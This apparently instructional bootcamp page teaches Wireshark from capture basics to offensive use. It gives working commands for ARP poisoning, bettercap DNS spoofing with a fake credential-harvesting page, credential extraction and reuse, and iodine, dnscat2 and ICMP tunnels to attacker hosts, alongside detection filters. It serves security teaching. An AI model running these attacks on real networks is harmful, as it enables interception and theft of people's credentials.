CyberBootcamp — Wireshark Deep Dive

SEC	PHASE	TOPIC	WHAT YOU LEARN	KEY SKILLS
§1	LAB	Interface & Capture Basics	Installing Wireshark, selecting the right interface, capture filters vs display filters, reading the packet list/detail/bytes panes, saving and loading PCAP files.	Capture setup, PCAP files, UI navigation
§2	LAB	Protocol Analysis & Interpretation	Decoding TCP 3-way handshake, HTTP request/response pairs, DNS query/answer chains, ARP tables, TLS handshake fields, ICMP echo/reply. Reading real packet bytes. Understanding protocol layers in the tree view.	TCP, HTTP, DNS, ARP, TLS, ICMP
§3	OFFENSIVE	Passive Reconnaissance	Using Wireshark to map a network passively — identifying hosts, services, operating systems, and usernames from ambient traffic without sending a single packet. ARP poisoning for traffic redirection.	Host discovery, OS fingerprinting, ARP
§4	OFFENSIVE	Credential Interception	Capturing plaintext credentials from FTP, HTTP Basic Auth, Telnet, POP3, SMTP. Following TCP streams. Exporting objects (files transferred over HTTP). SMB credential capture. Cookie theft from HTTP sessions.	FTP, HTTP auth, Follow TCP stream, SMB
§5	OFFENSIVE	MITM & Traffic Injection	ARP spoofing to position between two hosts. Intercepting and modifying HTTP responses in flight. DNS spoofing to redirect traffic. SSL stripping basics. Combining with ettercap/bettercap for automated MITM.	ARP spoof, DNS spoof, SSL strip, ettercap
§6	BYPASS	Evading Wireshark & IDS Detection	Fragmentation attacks to split payloads across packets. Encoding/encrypting C2 traffic to look like HTTPS. Using legitimate ports and protocols for covert channels. Timing-based evasion. Decoy traffic generation.	Fragmentation, covert channels, timing
§7	BYPASS	Encrypted & Tunnelled Traffic	DNS tunnelling (iodine/dnscat2) — how data hides inside DNS queries. ICMP tunnelling. Using HTTPS for C2 beaconing — how it looks in Wireshark and why it's hard to detect. Decrypting TLS with SSLKEYLOGFILE.	DNS tunnel, ICMP tunnel, TLS decrypt
§8	DEFENSIVE	Detection, Alerting & Forensics	Writing Wireshark display filter rules for known attack patterns. Using Statistics > Conversations and I/O graphs to spot anomalies. Integrating with Zeek/Bro for automated log generation. PCAP-based incident reconstruction. Writing Snort rules from Wireshark findings.	Detection filters, Zeek, Snort, forensics

Interface & Capture Basics

LAB PRACTICAL Installation · Interface Selection · Filters · PCAP Files · UI Navigation

🦈

Wireshark is the most important tool in network security. Every other skill in this bootcamp — enumeration, exploitation, detection — produces network traffic. Wireshark lets you see that traffic at the raw packet level. Defenders use it to reconstruct attacks. Attackers use it to find credentials and map networks. Everyone needs to be fluent in it.

// §1.1 — INSTALLATION

INSTALL WIRESHARK

# ── KALI LINUX (pre-installed, update it) ──────────────────── $ sudo apt update && sudo apt install wireshark -y # When asked "Should non-superusers be able to capture packets?" → YES $ sudo usermod -aG wireshark $USER # Add yourself to wireshark group $ newgrp wireshark # Apply group without relogging # ── UBUNTU / DEBIAN ────────────────────────────────────────── $ sudo add-apt-repository ppa:wireshark-dev/stable $ sudo apt install wireshark tshark -y # ── WINDOWS / MAC ───────────────────────────────────────────── # Download from: wireshark.org/download.html # Windows: installs WinPcap/Npcap driver automatically # Mac: installs ChmodBPF for non-root capture # ── TSHARK (terminal-only Wireshark) ───────────────────────── $ tshark -i eth0 -c 100 # Capture 100 packets on eth0 $ tshark -r capture.pcap # Read a PCAP file # tshark is Wireshark without the GUI — useful for scripting and remote capture

// §1.2 — THE THREE PANES

PACKET LIST (top pane)

One row per packet. Columns: No., Time, Source, Destination, Protocol, Length, Info. This is your overview. Colour-coded by protocol — green for TCP, light blue for DNS, etc. Click any row to expand it in the detail pane below.

Key shortcut: Ctrl+F to search within packets. Ctrl+G to go to packet number.

PACKET DETAILS (middle pane)

Tree view of the selected packet showing every protocol layer — Frame → Ethernet → IP → TCP → HTTP. Expand each layer to see all fields and values. This is where you read headers, flags, sequence numbers, and payload.

Right-click any field → "Apply as filter" → instantly filters the packet list to matching packets.

PACKET BYTES (bottom pane)

Raw hexadecimal and ASCII representation of the selected packet. When you click a field in the detail pane, the corresponding bytes are highlighted here. This is how you read raw credentials, file contents, and protocol payloads at the byte level. Essential for understanding what's actually on the wire.

// §1.3 — CAPTURE FILTERS vs DISPLAY FILTERS

⚠️

This is the most important distinction in Wireshark. Capture filters limit what gets captured — they run at the kernel level and can't be changed mid-capture. Display filters operate on already-captured packets — you can change them at any time without losing data. Always capture everything, filter the display.

TYPE	WHEN APPLIED	SYNTAX	EXAMPLE	USE CASE
Capture Filter	Before capture starts	BPF syntax	`port 80`	High-traffic networks where you only want one protocol
Display Filter	After/during capture	Wireshark syntax	`http.request`	Almost always — filter what you see without losing data

// §1.4 — ESSENTIAL DISPLAY FILTERS

http

Show all HTTP traffic

Reveals web browsing, APIs, file downloads

http.request.method == "POST"

Show only HTTP POST requests

dns

All DNS queries and responses

Domain lookups — maps what hosts are reaching out to

ip.addr == 192.168.1.50

All traffic to or from a specific IP

Investigate one host — see everything it sends and receives

tcp.flags.syn == 1 && tcp.flags.ack == 0

SYN packets only — connection initiation

Port scan detection — many SYNs from one IP in seconds

ftp || ftp-data

All FTP control and data traffic

FTP sends credentials in plaintext — always check this

!(arp || icmp || dns)

Exclude noisy protocols

Clear the noise to see application-layer traffic

tcp.analysis.flags

Show TCP anomalies and errors

Retransmissions, out-of-order, RSTs — network issues

frame contains "password"

Search packet content for a string

Find credentials in any protocol — case sensitive

// §1.5 — LIVE CAPTURE SIMULATION

Click any packet row to expand its details below.

Capturing on eth0 — 847 packets

● LIVE

No.

Time

Source

Destination

Proto

Len

Info

0.000

192.168.1.10

8.8.8.8

DNS

Standard query A www.google.com

0.022

8.8.8.8

192.168.1.10

DNS

107

Standard query response A 142.250.185.78

0.025

192.168.1.10

142.250.185.78

TCP

52341 → 80 [SYN] Seq=0 Win=64240

0.087

192.168.1.10

142.250.185.78

HTTP

412

GET /index.html HTTP/1.1 (text/html)

1.204

192.168.1.1

Broadcast

ARP

Who has 192.168.1.10? Tell 192.168.1.1

2.341

192.168.1.25

192.168.1.5

FTP

Request: PASS s3cr3tP@ssw0rd ← PLAINTEXT CREDENTIAL!

3.102

192.168.1.30

192.168.1.100

HTTP

523

POST /login HTTP/1.1 (application/x-www-form-urlencoded)

▾ Frame 1: 75 bytes on wire, Interface: eth0

▾ Ethernet II: Src: aa:bb:cc:dd:ee:01, Dst: aa:bb:cc:dd:ee:ff

▾ Internet Protocol Version 4: Src: 192.168.1.10, Dst: 8.8.8.8

Header Length: 20 bytes

TTL: 64

Protocol: UDP (17)

▾ Domain Name System (query):

Transaction ID: 0x1a2b

Flags: 0x0100 Standard query

Questions: 1

Name: www.google.com

Type: A (Host Address)

▾ Domain Name System (response):

Transaction ID: 0x1a2b (matches query — valid response)

Answers: 3

Answer 1: www.google.com → 142.250.185.78 (TTL: 300)

Answer 2: www.google.com → 142.250.185.100 (TTL: 300)

▾ Transmission Control Protocol:

Source Port: 52341

Destination Port: 80

Sequence Number: 0 (relative)

Flags: 0x002 → SYN set ← This is the handshake START

Window Size: 64240

Options: MSS=1460, SACK permitted, Timestamps

▾ Hypertext Transfer Protocol:

Request Method: GET

Request URI: /index.html

Host: www.google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64)

Accept: text/html,application/xhtml+xml

Cookie: session=eyJhbGciOiJIUzI1NiJ9... ← session token visible!

▾ Address Resolution Protocol (request):

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Sender MAC: aa:bb:cc:dd:ee:01 (Router)

Sender IP: 192.168.1.1

Target MAC: 00:00:00:00:00:00 (unknown — this is a query)

Target IP: 192.168.1.10

⚠ PLAINTEXT CREDENTIAL DETECTED IN FTP TRAFFIC

▾ File Transfer Protocol (FTP):

Request command: PASS

Request arg: s3cr3tP@ssw0rd ← FULL PLAINTEXT PASSWORD

Direction: Client → Server

Port: 21 (FTP control channel)

Filter to find all FTP credentials: ftp.request.command == "PASS"

▾ Hypertext Transfer Protocol:

Request Method: POST

Request URI: /login

▾ HTML Form URL Encoded:

username: john.smith

password: Welcome1234! ← PLAINTEXT IN POST BODY

remember_me: true

Filter: http.request.method == "POST" && http contains "password"

// §1 — QUIZ

You are capturing traffic on a busy corporate network and only care about web traffic. You set a display filter http during the capture. After 10 minutes you also want to see FTP traffic. What happens when you change the display filter to http || ftp?

A The FTP packets are lost — they weren't captured because the filter excluded them

B All FTP packets from the entire capture session appear immediately — display filters don't affect what was captured

C Wireshark starts capturing FTP from this moment onward, but past FTP is lost

D You need to restart the capture for the new filter to take effect

Protocol Analysis & Interpretation

LAB PRACTICAL TCP Handshake · HTTP · DNS · ARP · TLS Handshake · ICMP · Reading Raw Bytes

📡

Every attack leaves a protocol fingerprint. Knowing what normal TCP handshakes, DNS queries, and HTTP sessions look like means anomalies jump out immediately. This section maps each protocol to what you see in Wireshark, field by field.

// §2.1 — TCP 3-WAY HANDSHAKE IN WIRESHARK

TCP Handshake — display filter: tcp && ip.addr==192.168.1.10

No.

Source

Destination

Proto

Flags

Seq

Info

192.168.1.10

10.0.0.5

TCP

SYN

→ SYN: Client initiates. "I want to connect. My seq starts at 0."

10.0.0.5

192.168.1.10

TCP

SYN-ACK

← SYN-ACK: Server responds. "OK. My seq=0. Ack=1 (your seq+1)."

192.168.1.10

10.0.0.5

TCP

ACK

→ ACK: Client confirms. "Got it. Ack=1 (your seq+1). Connected!"

192.168.1.10

10.0.0.5

HTTP

PSH-ACK

→ GET /page HTTP/1.1 — First data after handshake complete

TCP FLAGS — WHAT EACH ONE MEANS

FLAG	NAME	MEANING	ATTACK CONTEXT
SYN	Synchronise	Initiate connection	SYN flood: millions of SYNs, no ACK → exhausts server resources
ACK	Acknowledge	Confirms received data	ACK scan: used to map firewall rules (no SYN, just ACK)
RST	Reset	Abort connection immediately	Port closed (RST back from target). Also used in TCP hijacking.
FIN	Finish	Graceful close	FIN scan: stealth port scanning (no RST logged on some systems)
PSH	Push	Send data immediately	Normal data packets. PSH-ACK = data being sent right now.
URG	Urgent	Urgent data pointer valid	Rarely used legitimately. Often used in OS fingerprinting.

// §2.2 — DNS ANALYSIS

DNS QUERIES IN WIRESHARK — WHAT TO LOOK FOR

# Display filter for DNS only: dns # Show only DNS queries (not responses): dns.flags.response == 0 # Find queries for a specific domain: dns.qry.name contains "google" # SUSPICIOUS: Large DNS responses (potential DNS tunnelling): dns && frame.len > 512 # SUSPICIOUS: Many unique subdomains of same domain (DGA or tunnelling): dns.qry.name contains ".evilc2.com" # What to read in a DNS packet: # Query: Transaction ID, Query Name (FQDN), Query Type (A/AAAA/MX/TXT) # Response: Same Transaction ID (must match!), Answer section with IP(s), TTL # # Red flags in DNS: # - Query type TXT with large payloads = DNS tunnelling # - Many NXDOMAIN responses = DGA malware trying random domains # - Responses from unexpected servers (not your configured DNS) # - Very low TTL (< 60s) = fast-flux infrastructure (botnet/C2) # - Queries for .onion, .bit, or encoded base64 subdomains

// §2.3 — FOLLOWING TCP STREAMS

THE MOST USEFUL WIRESHARK FEATURE

Right-click any TCP packet → Follow → TCP Stream. Wireshark reassembles the full conversation between two hosts and shows it as readable text. Red = client sent, blue = server responded. This is how you read HTTP conversations, FTP sessions, and plaintext credentials in one view instead of packet by packet.

FOLLOW TCP STREAM — FTP SESSION EXAMPLE

# Red = client, Blue = server 220 FTP Server Ready USER john.smith 331 Password required for john.smith PASS MyP@ssw0rd123 ← full plaintext password 230 User john.smith logged in LIST 150 Opening data connection -rw-r--r-- 1 john 4096 payroll_2024.xlsx -rw-r--r-- 1 john 8192 passwords.txt ← interesting filenames 226 Transfer complete RETR passwords.txt ← downloading the file! 150 Opening data connection # The file content appears in the data channel (ftp-data) # Follow the ftp-data TCP stream to see the actual file content # Filter to find all files downloaded via FTP: ftp.request.command == "RETR"

// §2.4 — TLS HANDSHAKE READING

WHAT YOU CAN SEE IN ENCRYPTED TRAFFIC

Even encrypted TLS traffic reveals useful information before encryption begins. The TLS ClientHello exposes: the target hostname (SNI — Server Name Indication), the TLS version, and the cipher suites the client supports. The ServerHello reveals the chosen cipher suite and the server's certificate (including the domain, issuer, and validity period). The actual payload is encrypted but the metadata is gold for reconnaissance.

TLS FILTERS

# Show all TLS handshake traffic: tls.handshake # Find ClientHello — see what domains clients are connecting to: tls.handshake.type == 1 # Read the SNI (Server Name Indication) — hostname being accessed: tls.handshake.extensions_server_name # Find old/weak TLS versions (security risk): tls.handshake.version < 0x0303 # Older than TLS 1.2 # Decrypt TLS if you have the pre-master secret log: # Edit → Preferences → Protocols → TLS → (Pre)-Master Secret log file # Set SSLKEYLOGFILE=/path/to/keylog.txt in browser environment # export SSLKEYLOGFILE=~/ssl-keys.log && firefox & # Then Wireshark can decrypt and show plaintext HTTPS content

// §2 — QUIZ

You capture traffic and see a TCP connection where the client sends a SYN, the server responds with SYN-ACK, but then immediately sends a RST-ACK before the client's final ACK arrives. What does this indicate?

A Normal TCP connection — RST-ACK is part of the handshake on some systems

B The port is technically open but something (firewall/IPS) is injecting a TCP RST to abort the connection — this is TCP RST injection

C Network retransmission — the packet was duplicated in transit

D SYN flood attack — the server is overwhelmed and dropping connections

Passive Reconnaissance with Wireshark

OFFENSIVE Host Discovery · OS Fingerprinting · Service Mapping · ARP Poisoning

🎯

Wireshark lets you map an entire network without sending a single packet yourself. Just by listening to ambient broadcast traffic — ARP, mDNS, DHCP, NetBIOS — you can identify every host, its OS, running services, and usernames, completely passively. This is stealth reconnaissance that leaves zero logs on target systems.

// §3.1 — HOST DISCOVERY FROM AMBIENT TRAFFIC

PASSIVE HOST DISCOVERY — NO PACKETS SENT

# ── ARP: Every host broadcasts when looking for others ──────── arp # Every ARP request reveals: sender IP + MAC # Statistics > Endpoints > Ethernet tab shows all MACs seen # OUI prefix of MAC = manufacturer = device type # aa:bb:cc = Apple, 00:50:56 = VMware, dc:a6:32 = Raspberry Pi # ── DHCP: Reveals hostnames and OS fingerprints ─────────────── dhcp # DHCP Request contains: # Option 12 = Hostname → "JOHNS-LAPTOP", "CORP-DC01" # Option 55 = Parameter Request List → OS fingerprint # Windows: requests options 1,15,3,6,44,46,47,31,33,249,43 # Linux: requests options 1,28,2,3,15,6,12 # Mac: requests options 1,121,3,6,15,119,252,95,44,46 # ── mDNS/Bonjour: Apple/Linux service announcements ────────── mdns # Reveals: hostnames, services (AirPlay, printing), device types # ── NetBIOS: Windows hostnames and workgroup names ──────────── nbns # Every Windows machine broadcasts its name periodically # Filter: nbns.name to see all Windows hostnames # This maps your entire Windows network passively # ── BROWSER: SMB browser elections (older Windows) ─────────── browser # Reveals domain names, workgroup structure, Windows versions # ── tshark: Automated passive host discovery ───────────────── $ tshark -i eth0 -T fields -e ip.src -e eth.src -e _ws.col.Info \ -Y "arp || dhcp || mdns || nbns" 2>/dev/null | sort -u 192.168.1.1 aa:bb:cc:11:22:33 ARP Who has 192.168.1.10? 192.168.1.10 dd:ee:ff:44:55:66 DHCP Request - JOHNS-LAPTOP 192.168.1.20 11:22:33:77:88:99 NBNS Name query CORP-DC01 192.168.1.50 dc:a6:32:ab:cd:ef mDNS raspberrypi.local

// §3.2 — OS FINGERPRINTING FROM TCP

TCP STACK FINGERPRINTING — IDENTIFY OS WITHOUT SCANNING

Every OS implements the TCP stack slightly differently. The TCP Window Size in SYN packets, the TTL value in IP headers, and the TCP Options combination create a unique fingerprint for each OS. You can identify Windows vs Linux vs Mac vs iOS just from passive traffic.

OS	INITIAL TTL	TCP WINDOW SIZE	TCP OPTIONS
Windows 10/11	128	64240 or 65535	MSS, NOP, WS=8, NOP, NOP, SACK
Linux (recent)	64	29200 or 43690	MSS, SACK, Timestamps, NOP, WS=7
macOS	64	65535	MSS, NOP, WS=6, NOP, NOP, Timestamps, SACK
iOS / Android	64	65535	MSS, NOP, WS=6, SACK, Timestamps
Network device	255	Varies	Minimal options

// §3.3 — ARP POISONING (TRAFFIC REDIRECTION)

Listen First

Capture ARP traffic to learn the network. Identify: the gateway IP/MAC, target host IP/MAC. Display filter: arp. Use Statistics > Endpoints to build a host list.

arp

Enable Forwarding

Enable IP forwarding so traffic you intercept still reaches its destination. Without this, you create a DoS instead of a silent MITM.

echo 1 > /proc/sys/net/ipv4/ip_forward

Poison ARP Cache

Send fake ARP replies to both the target and gateway, telling each that the other's IP maps to your MAC address. Both will send their traffic to you.

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 && arpspoof -i eth0 -t 192.168.1.1 192.168.1.10

Capture in Wireshark

All traffic between the target and gateway now flows through your machine. Open Wireshark — you see everything. Apply filters for credentials, sessions, and file transfers.

http || ftp || smtp || pop3 || telnet

Detect ARP Poison

In Wireshark, ARP poisoning is visible: two different MACs claiming the same IP. Filter: arp.duplicate-address-detected — Wireshark flags this automatically with "[Duplicate IP address detected]" warnings.

arp.duplicate-address-detected

// §3 — QUIZ

You're passively monitoring a network and notice a host sending ARP replies saying "192.168.1.1 is at AA:BB:CC:DD:EE:FF" even though no one asked. The real gateway has MAC 11:22:33:44:55:66. What is happening and what Wireshark filter catches it?

A Normal gratuitous ARP — harmless and expected on all networks

B ARP probe — the host is checking if the gateway IP is available

C ARP poisoning attack — the attacker is sending fake ARP replies to redirect gateway-bound traffic. Filter: arp.duplicate-address-detected

D DHCP spoofing — the attacker is impersonating the DHCP server

Credential Interception

OFFENSIVE FTP · HTTP Basic Auth · Telnet · SMTP · SMB · Cookie Theft · Export Objects

🔑

Plaintext protocols are an attacker's best friend. FTP, Telnet, HTTP Basic Auth, POP3, SMTP AUTH, and IMAP all transmit credentials in cleartext. A single Wireshark capture on any network segment carrying these protocols yields working usernames and passwords. This section shows every filter and technique.

// §4.1 — CREDENTIAL HARVEST FILTERS

ftp.request.command == "PASS"

FTP passwords — shows every password sent to an FTP server

FTP sends USER then PASS in plaintext on port 21

ftp.request.command == "USER"

FTP usernames — pair with PASS filter to get full credentials

Combine: ftp.request.command == "USER" || ftp.request.command == "PASS"

http.authorization

HTTP Basic Authentication credentials

Base64 encoded — decode: echo "dXNlcjpwYXNz" | base64 -d

http.request.method == "POST" && http contains "password"

Follow TCP stream to read username + password in full

telnet

All Telnet traffic — fully plaintext including passwords

Follow TCP stream — every keystroke including the password is visible

smtp.auth.password

SMTP AUTH passwords for email sending

Email client credentials — often reused with other services

pop.request.command == "PASS"

POP3 email retrieval passwords

POP3 on port 110 is plaintext — captures email credentials

http.cookie

All HTTP session cookies in requests

Session token theft — replay in browser for account takeover

ntlmssp.auth.username

NTLM authentication usernames (SMB/HTTP)

Reveals domain\username even in encrypted NTLM auth

// §4.2 — HTTP BASIC AUTH DECODE

DECODING HTTP BASIC AUTH CREDENTIALS

# Wireshark shows: Authorization: Basic dXNlcjpzdXBlcnNlY3JldA== # The value after "Basic" is base64(username:password) # Decode in terminal: $ echo "dXNlcjpzdXBlcnNlY3JldA==" | base64 -d user:supersecret # tshark to extract all HTTP Basic Auth automatically: $ tshark -r capture.pcap -Y "http.authorization" \ -T fields -e ip.src -e http.authorization 2>/dev/null 192.168.1.25 Basic dXNlcjpzdXBlcnNlY3JldA== # Batch decode all found credentials: $ tshark -r capture.pcap -Y "http.authorization" \ -T fields -e http.authorization 2>/dev/null \ | grep -oP '(?<=Basic )\S+' \ | base64 -d user:supersecret admin:P@ssw0rd123 john.smith:Welcome1!

// §4.3 — EXPORTING FILES FROM HTTP

FILE EXTRACTION FROM PCAP

Wireshark can reconstruct files transmitted over HTTP from a packet capture. This works for images, documents, executables — anything transferred over unencrypted HTTP.

In Wireshark GUI: File → Export Objects → HTTP → shows all files transferred → select any → Save
tshark command line: tshark -r capture.pcap --export-objects http,/tmp/extracted_files/
What you get: HTML pages, images, executables, PDFs, Word documents — anything in unencrypted HTTP traffic
Also works for: SMB (File → Export Objects → SMB) — extract files shared over SMB/Windows file sharing
After extraction: Run file and strings on extracted executables — they may contain C2 domains, hardcoded credentials, or other IOCs

// §4 — QUIZ

You capture traffic and apply the filter http.authorization. You find the value Basic YWRtaW46Q29tcGFueTEyMyE=. What are the credentials and how would you use them offensively?

A The credentials are encrypted with base64 — you cannot decode them without the key

B The value after Basic is the username only — the password is in a separate header

C base64 -d gives admin:Company123! — try it against SSH, RDP, email, and VPN with the same password (credential reuse)

D This is HTTP Digest auth — the password is hashed and can only be cracked with Hashcat

Man-in-the-Middle & Traffic Injection

OFFENSIVE ARP Spoofing · DNS Spoofing · SSL Stripping · Bettercap · Response Modification

// §5.1 — BETTERCAP MITM WITH WIRESHARK

BETTERCAP + WIRESHARK — AUTOMATED MITM

# Install bettercap: $ sudo apt install bettercap -y # Start bettercap on your interface: $ sudo bettercap -iface eth0 # Inside bettercap interactive console: net.probe on # discover all hosts on network net.show # list discovered hosts with IP/MAC/hostname set arp.spoof.targets 192.168.1.10 # target specific host arp.spoof on # start ARP poisoning net.sniff on # capture and display credentials automatically [net.sniff] [192.168.1.10 → 192.168.1.1] FTP USER admin [net.sniff] [192.168.1.10 → 192.168.1.1] FTP PASS S3cur3P@ss! [net.sniff] [192.168.1.10 → 192.168.1.1] HTTP POST /login user=john&pass=Welcome1 # Simultaneously open Wireshark to see full packet details: # bettercap handles the ARP poisoning # Wireshark gives you the deep packet analysis # ── DNS SPOOFING ────────────────────────────────────────────── set dns.spoof.domains target-bank.com,login.corp.com set dns.spoof.address 192.168.1.99 # your fake server IP dns.spoof on # All DNS queries for those domains now return your IP # Set up a fake login page on 192.168.1.99 to harvest creds # ── SSL STRIPPING ───────────────────────────────────────────── https.proxy on # Downgrades HTTPS to HTTP where HSTS is not set # Wireshark then sees plaintext instead of TLS # Note: modern browsers with HSTS preloading prevent this

// §5.2 — DETECTING MITM IN WIRESHARK

WHAT MITM LOOKS LIKE FROM THE VICTIM'S CAPTURE

Duplicate MACs for gateway IP: ARP table shows two different MACs claiming 192.168.1.1 — filter arp.duplicate-address-detected
ARP reply storm: High volume of unsolicited ARP replies from one MAC — filter arp.opcode == 2 and sort by source MAC
TTL anomaly: Packets from the "gateway" arrive with TTL one less than expected (they made one extra hop through the attacker)
SSL certificate mismatch: TLS ServerHello shows unexpected certificate issuer — filter tls.handshake.type == 11 and check certificate fields
Latency spike: Round-trip times suddenly increase when MITM is active — the extra hop adds measurable delay

// §5 — QUIZ

You perform ARP spoofing and position yourself between a target and the gateway. You enable net.sniff on bettercap but see no HTTP credentials — only TLS traffic. The target is accessing https://mail.company.com. What is the most likely reason and what can you attempt?

A ARP spoofing failed — the target is not sending traffic through you

C MITM is working but content is TLS-encrypted — try SSL stripping if no HSTS, or check SNI field in TLS ClientHello for domain intelligence

B HTTPS is impossible to intercept — stop and try a different attack

D The firewall is blocking your ARP packets

Evading Wireshark & IDS Detection

BYPASS Fragmentation · Covert Channels · Port Mimicry · Timing Evasion · Decoy Traffic

👻

Every evasion technique exploits a gap between what Wireshark/IDS sees and what actually happens. Fragmentation hides payload content across multiple small packets. Port mimicry hides C2 traffic inside legitimate protocol ports. Understanding these techniques from the attacker's side makes you a far better defender — you know exactly what to look for.

// §6.1 — IP FRAGMENTATION EVASION

FRAGMENTATION ATTACK — HOW IT WORKS

# IP fragmentation splits a packet into multiple smaller packets # Each fragment has only a partial payload # Many IDS systems inspect individual fragments — miss the full pattern # Wireshark reassembles fragments by default (Edit → Preferences → IPv4 → Enable) # ── Fragment a payload across multiple small packets ───────── $ nmap -f 192.168.1.10 # 8-byte fragments (stealth scan) $ nmap --mtu 24 192.168.1.10 # 24-byte fragments $ nmap -f -f 192.168.1.10 # 16-byte fragments (double -f) # What fragmentation looks like in Wireshark: # Packet 1: IP (Fragment offset=0, More fragments=1, Data: first 8 bytes) # Packet 2: IP (Fragment offset=1, More fragments=1, Data: next 8 bytes) # Packet 3: IP (Fragment offset=2, More fragments=0, Data: final bytes) # Wireshark labels them: [Reassembled IPv4 in frame: N] # Wireshark filter for fragmented packets: ip.flags.mf == 1 || ip.frag_offset > 0 # MF = More Fragments flag # frag_offset > 0 = this is not the first fragment # These together show all fragments of a fragmented stream # ── Overlapping fragments (Teardrop / IDS evasion) ─────────── # Send fragments that overlap — IDS sees payload A, host reassembles to payload B # Different OSes handle overlaps differently (Windows uses last, Linux uses first) # Scapy for crafting overlapping fragments: $ python3 -c " from scapy.all import * # Fragment 1: bytes 0-15 (benign content) # Fragment 2: bytes 8-23 (overlaps — malicious content in overlap region) # IDS sees benign, host executes malicious "

// §6.2 — PORT MIMICRY & PROTOCOL TUNNELLING

HIDING C2 TRAFFIC INSIDE LEGITIMATE PROTOCOLS

# ── C2 over port 443 (HTTPS port, not actual HTTPS) ────────── # Run a raw TCP C2 listener on port 443 # Firewalls allow 443 outbound — most don't do deep inspection # Wireshark shows: TCP traffic on port 443 (looks like HTTPS) # But: no TLS handshake visible — it's just raw TCP on 443 # How defenders detect this in Wireshark: tcp.port == 443 && !tls # Traffic on HTTPS port with NO TLS = suspicious — likely port mimicry # ── HTTP-based C2 (blends with web traffic) ─────────────────── # C2 implant beacons via HTTP GET/POST — looks like browser traffic # Common pattern: regular interval GET requests to a CDN-fronted domain # Wireshark detection: http.request && frame.time_delta < 0.001 # Very regular intervals in HTTP requests = beaconing pattern # ── Domain Fronting ─────────────────────────────────────────── # TLS SNI shows: legitimate-cdn.com (bypasses SNI-based filtering) # HTTP Host header shows: actual-c2.com (the real destination) # Wireshark shows the SNI — you CANNOT see the Host header (it's encrypted) # Detection: use DNS query logs instead — DNS shows the real domain resolution # ── Timing-based evasion ───────────────────────────────────── # Regular beacons create patterns detectable with Wireshark I/O graphs # Randomise beacon interval: sleep(60 + random(-20, +20)) # Wireshark Statistics > I/O Graph shows irregular traffic = harder to flag # But: total volume over time is still anomalous vs baseline

// §6 — QUIZ

You are a defender and notice TCP traffic on port 443 from an internal machine, but the Wireshark display filter tls shows zero matching packets on that port. What does this strongly indicate and what is your next investigative step?

A Normal — TLS sometimes uses different port numbers

B Port mimicry — likely a C2 beacon using port 443 to bypass firewalls. Follow the TCP stream and check for regular beaconing intervals in Statistics > Conversations

C Wireshark cannot display TLS — the traffic is there but invisible

D Broken TLS connection — the handshake failed mid-way

Encrypted & Tunnelled Traffic

BYPASS DNS Tunnelling · ICMP Tunnelling · TLS Decryption · dnscat2 · iodine

// §7.1 — DNS TUNNELLING IN WIRESHARK

DNS TUNNELLING — DETECTION IN WIRESHARK

# DNS tunnelling encodes data inside DNS query names and TXT records # Data flows: malware → DNS query → your C2 DNS server → command back in response # Completely bypasses most firewalls (DNS port 53 is always open) # Tools: dnscat2, iodine, dns2tcp # ── What DNS tunnelling looks like in Wireshark ─────────────── # Normal DNS query: "www.google.com" (short, readable) # Tunnelled DNS: "YWRtaW46Q29tcGFueTEy.c2domain.com" (long encoded subdomain) # Detection filter — long DNS queries (legitimate rarely exceed 30 chars): dns.qry.name.len > 52 # High volume of DNS queries to same domain (data exfil pattern): dns && dns.qry.name contains ".c2domain.com" # TXT record responses (command delivery channel): dns.qry.type == 16 # Type 16 = TXT record # Wireshark Statistics > DNS to see query rate by domain — spikes are suspicious # ── iodine: IP-over-DNS tunnel ──────────────────────────────── # Server side (attacker controlled DNS server): $ iodined -f -c -P password 10.0.0.1 tunnel.attacker.com # Client side (on target machine): $ iodine -f -P password tunnel.attacker.com # Creates a tunnel interface — all traffic routes over DNS # In Wireshark: massive volume of DNS queries, each with encoded data # ── dnscat2: C2 over DNS ────────────────────────────────────── $ ruby dnscat2.rb --dns "domain=c2.attacker.com" # server $ ./dnscat --dns c2.attacker.com # client on target # Wireshark signature: SYN queries with encoded payloads # Each "session" appears as sequential subdomains: a.b.c.d.c2.attacker.com

// §7.2 — DECRYPTING TLS WITH SSLKEYLOGFILE

TLS DECRYPTION — SEE INSIDE HTTPS

# Modern TLS uses Perfect Forward Secrecy (PFS) # You CANNOT decrypt TLS with just the server private key # BUT: browsers and apps log session keys to SSLKEYLOGFILE # With this log, Wireshark decrypts the session completely # ── Set up SSLKEYLOGFILE on Linux/Mac ──────────────────────── $ export SSLKEYLOGFILE=/home/user/ssl-keys.log $ wireshark & # start Wireshark $ firefox https://target.com & # browser inherits the env var # Keys are written to /home/user/ssl-keys.log during the session # ── Configure Wireshark to use the key log ──────────────────── # Edit → Preferences → Protocols → TLS # (Pre)-Master-Secret log filename: /home/user/ssl-keys.log # Click OK → all captured TLS traffic is now decrypted! # ── On Windows ──────────────────────────────────────────────── # System Properties → Environment Variables → New # Variable: SSLKEYLOGFILE Value: C:\Users\user\ssl-keys.log # Restart browser → keys logged automatically # ── What you see after decryption ──────────────────────────── # The HTTP/2 or HTTP/1.1 application data is now visible: # Full HTTPS request headers including cookies, auth tokens # POST body contents including form data and API calls # Server responses including JSON data and HTML content # This is how security researchers analyse malware HTTPS C2 traffic # ── Wireshark filter for decrypted content ─────────────────── http2 || http # after TLS decryption, HTTPS shows as HTTP

// §7.3 — ICMP TUNNELLING

DATA HIDDEN IN PING PACKETS

ICMP echo requests (ping) carry a data payload field. Normally this contains benign filler data. Attackers stuff arbitrary data — including commands and responses — into this field. Many firewalls allow ICMP ping through. From Wireshark, ICMP tunnel traffic looks like ping but the payload contains encoded data instead of the normal abcdefg... pattern.

ICMP TUNNELLING DETECTION

# Normal ICMP payload: "abcdefghijklmnopqrstuvwxyz012345" # Tunnelled ICMP payload: base64/encrypted C2 data # Show all ICMP traffic: icmp # Large ICMP payloads (normal ping is 32-56 bytes, tunnel is larger): icmp && data.len > 64 # Detect non-standard ICMP data (not the normal alphabet pattern): # In packet detail: ICMP → Data → check the content # Legitimate: "abcdefghijklmnopqrstuvwxyz012345..." # Tunnelled: base64 strings, encrypted binary blobs # High rate of ICMP (tunnelling generates continuous ping traffic): # Statistics > I/O Graph → filter icmp → look for sustained traffic # Tool: ptunnel — TCP over ICMP tunnel $ ptunnel-ng -p attacker.com -lp 8080 -da target.com -dp 22 # SSH through ICMP — from Wireshark looks like persistent ping flood # Each "ping" carries SSH data in the ICMP payload

// §7 — QUIZ

